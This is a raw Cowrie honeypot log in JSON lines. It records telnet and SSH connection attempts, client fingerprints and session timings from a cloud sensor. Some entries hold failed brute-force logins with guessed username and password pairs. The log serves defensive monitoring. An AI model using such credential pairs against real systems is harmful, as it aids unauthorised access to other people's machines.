{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48502,"dst_ip":"10.17.0.5","dst_port":23,"session":"7539c2e01b9c","protocol":"telnet","message":"New connection: 188.208.141.113:48502 (10.17.0.5:23) [session: 7539c2e01b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:27.006595Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:27.014528Z","src_ip":"190.108.60.10","session":"95d35ddfd53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41056,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc1f3fce6994","protocol":"telnet","message":"New connection: 104.245.105.2:41056 (10.17.0.5:23) [session: dc1f3fce6994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:28.784878Z"}
{"eventid":"cowrie.session.closed","duration":120.00154781341553,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:29.602807Z","src_ip":"200.219.13.170","session":"7038a6a23482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.219.13.170","src_port":20855,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c7aee5516d4","protocol":"telnet","message":"New connection: 200.219.13.170:20855 (159.203.135.109:23) [session: 2c7aee5516d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:33.469195Z"}
{"eventid":"cowrie.session.closed","duration":45.255000591278076,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:33.735238Z","src_ip":"206.189.32.23","session":"25c07d2a7f92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9354989528656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:35.572708Z","src_ip":"162.55.233.176","session":"32e6d56bd090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":55497,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76432f64363","protocol":"ssh","message":"New connection: 103.170.173.26:55497 (159.203.135.109:22) [session: a76432f64363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:36.836506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:36.841070Z","src_ip":"103.170.173.26","session":"a76432f64363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:37.118550Z","src_ip":"103.170.173.26","session":"a76432f64363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.219.13.170","src_port":19985,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54f4b142655","protocol":"telnet","message":"New connection: 200.219.13.170:19985 (159.203.135.109:23) [session: d54f4b142655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:37.700688Z"}
{"eventid":"cowrie.session.closed","duration":51.836689949035645,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:37.840321Z","src_ip":"188.208.141.113","session":"50f77ebf68e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"..","message":"login attempt [ubuntu/..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:38.267975Z","src_ip":"103.170.173.26","session":"a76432f64363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00182437896729,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:38.962311Z","src_ip":"206.189.32.23","session":"fed3dda4eae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:39.548781Z","src_ip":"103.170.173.26","session":"a76432f64363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57162,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e48f14998f2","protocol":"telnet","message":"New connection: 188.208.141.113:57162 (10.17.0.5:23) [session: 4e48f14998f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:49.720772Z"}
{"eventid":"cowrie.session.closed","duration":39.48176717758179,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:50.200035Z","src_ip":"188.208.141.113","session":"b5aefd26420f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.69578695297241,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:54.720674Z","src_ip":"206.189.32.23","session":"bb6af28903b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39636,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a12e490666d","protocol":"telnet","message":"New connection: 206.189.32.23:39636 (10.17.0.5:23) [session: 3a12e490666d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:57.652815Z"}
{"eventid":"cowrie.session.closed","duration":30.704887866973877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:59.489651Z","src_ip":"104.245.105.2","session":"dc1f3fce6994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.147064208984375,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:59.569126Z","src_ip":"206.189.32.23","session":"5dd8718996e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.63666558265686,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:16.643134Z","src_ip":"188.208.141.113","session":"7539c2e01b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45842,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ef042436b7","protocol":"telnet","message":"New connection: 188.208.141.113:45842 (10.17.0.5:23) [session: 06ef042436b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:16.769180Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58502,"dst_ip":"10.17.0.5","dst_port":23,"session":"cce7a8cdff37","protocol":"telnet","message":"New connection: 206.189.32.23:58502 (10.17.0.5:23) [session: cce7a8cdff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:17.306555Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c4d64d9bbb0","protocol":"telnet","message":"New connection: 188.208.141.113:45856 (10.17.0.5:23) [session: 4c4d64d9bbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:18.652338Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36662,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b0edfad577","protocol":"telnet","message":"New connection: 206.189.32.23:36662 (10.17.0.5:23) [session: c1b0edfad577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:23.801063Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8d9a02684dd","protocol":"telnet","message":"New connection: 162.55.233.176:51198 (159.203.135.109:23) [session: f8d9a02684dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:27.137074Z"}
{"eventid":"cowrie.session.closed","duration":3.8461692333221436,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:27.647105Z","src_ip":"206.189.32.23","session":"c1b0edfad577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.73538112640381,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:29.456072Z","src_ip":"188.208.141.113","session":"4e48f14998f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50270,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b837367d2a","protocol":"telnet","message":"New connection: 188.208.141.113:50270 (10.17.0.5:23) [session: 61b837367d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:33.062742Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a44ae32b4c","protocol":"telnet","message":"New connection: 206.189.32.23:47516 (10.17.0.5:23) [session: 08a44ae32b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:36.110508Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":42144,"dst_ip":"10.17.0.5","dst_port":22,"session":"85e9bfec9539","protocol":"ssh","message":"New connection: 190.108.60.10:42144 (10.17.0.5:22) [session: 85e9bfec9539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:37.335447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:37.343425Z","src_ip":"190.108.60.10","session":"85e9bfec9539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:37.529631Z","src_ip":"190.108.60.10","session":"85e9bfec9539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49692,"dst_ip":"10.17.0.5","dst_port":23,"session":"99fba47eef7d","protocol":"telnet","message":"New connection: 206.189.32.23:49692 (10.17.0.5:23) [session: 99fba47eef7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:38.193676Z"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"1","message":"login attempt [vbox/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:38.339278Z","src_ip":"190.108.60.10","session":"85e9bfec9539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50286,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eef6ec104ca","protocol":"telnet","message":"New connection: 188.208.141.113:50286 (10.17.0.5:23) [session: 6eef6ec104ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:38.822495Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:39.535302Z","src_ip":"190.108.60.10","session":"85e9bfec9539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00591015815735,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:53.774951Z","src_ip":"188.208.141.113","session":"06ef042436b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.02976894378662,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:56.681978Z","src_ip":"188.208.141.113","session":"4c4d64d9bbb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.781013011932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:36:58.917953Z","src_ip":"162.55.233.176","session":"f8d9a02684dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.28443241119385,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:05.590864Z","src_ip":"206.189.32.23","session":"cce7a8cdff37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54896,"dst_ip":"10.17.0.5","dst_port":23,"session":"521a1d0a99a8","protocol":"telnet","message":"New connection: 104.245.105.2:54896 (10.17.0.5:23) [session: 521a1d0a99a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:13.814476Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4bae1baa3ba","protocol":"ssh","message":"New connection: 2.57.122.238:57438 (10.17.0.5:22) [session: a4bae1baa3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:14.710287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:14.716655Z","src_ip":"2.57.122.238","session":"a4bae1baa3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:14.821156Z","src_ip":"2.57.122.238","session":"a4bae1baa3ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:15.134234Z","src_ip":"2.57.122.238","session":"a4bae1baa3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:16.242659Z","src_ip":"2.57.122.238","session":"a4bae1baa3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.23623728752136,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:17.058629Z","src_ip":"188.208.141.113","session":"6eef6ec104ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.29001832008362,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:18.400412Z","src_ip":"206.189.32.23","session":"08a44ae32b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.73784828186035,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:20.800470Z","src_ip":"188.208.141.113","session":"61b837367d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0b4f3ffaf1","protocol":"telnet","message":"New connection: 188.208.141.113:54394 (10.17.0.5:23) [session: 1c0b4f3ffaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:22.078753Z"}
{"eventid":"cowrie.session.closed","duration":48.53980493545532,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:26.733354Z","src_ip":"206.189.32.23","session":"99fba47eef7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.671643972396851,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:26.750315Z","src_ip":"188.208.141.113","session":"1c0b4f3ffaf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51194,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d84943c966","protocol":"telnet","message":"New connection: 206.189.32.23:51194 (10.17.0.5:23) [session: 66d84943c966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:29.891202Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49968,"dst_ip":"10.17.0.5","dst_port":23,"session":"641d23cc8c7e","protocol":"telnet","message":"New connection: 206.189.32.23:49968 (10.17.0.5:23) [session: 641d23cc8c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:29.897772Z"}
{"eventid":"cowrie.session.closed","duration":120.00087451934814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:33.469959Z","src_ip":"200.219.13.170","session":"2c7aee5516d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00146484375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:37.701990Z","src_ip":"200.219.13.170","session":"d54f4b142655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":45130,"dst_ip":"159.203.135.109","dst_port":22,"session":"c870dd9ac2e9","protocol":"ssh","message":"New connection: 103.170.173.26:45130 (159.203.135.109:22) [session: c870dd9ac2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:40.134475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:40.139022Z","src_ip":"103.170.173.26","session":"c870dd9ac2e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:40.400990Z","src_ip":"103.170.173.26","session":"c870dd9ac2e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ABC123!@#","message":"login attempt [user/ABC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:41.481804Z","src_ip":"103.170.173.26","session":"c870dd9ac2e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.219.13.170","src_port":19212,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0e186ca2316","protocol":"telnet","message":"New connection: 200.219.13.170:19212 (159.203.135.109:23) [session: d0e186ca2316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:42.439308Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:42.745013Z","src_ip":"103.170.173.26","session":"c870dd9ac2e9","protocol":"ssh"}
